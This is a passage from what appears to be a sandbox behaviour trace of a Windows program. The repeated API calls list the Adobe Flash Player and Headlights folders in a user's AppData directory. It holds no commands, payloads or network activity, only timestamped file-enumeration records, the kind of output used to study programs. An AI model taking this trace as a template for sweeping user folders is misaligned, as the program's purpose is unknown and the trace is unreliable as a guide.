lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0183.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0183.263] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0183.263] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.263] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0183.264] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0183.264] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 0 [0183.264] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0183.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0183.264] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0183.265] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.265] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0183.265] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0183.265] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.265] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0183.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0183.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0183.266] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0183.267] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.267] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0183.268] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 0 [0183.268] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0183.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0183.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0183.268] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.269] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0183.269] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.269] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0183.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.269] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", lpFilePart=0x0) returned 0x46 [0183.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.269] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", lpFilePart=0x0) returned 0x46 [0183.269] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0183.270] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.270] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.270] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0183.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0183.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0183.270] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0183.271] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.272] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0183.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0183.272] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.272] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.272] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0183.273] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 0 [0183.273] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.273] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0183.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.273] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0183.273] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0183.274] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.274] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.274] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0183.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.275] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0183.275] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.275] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.275] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, 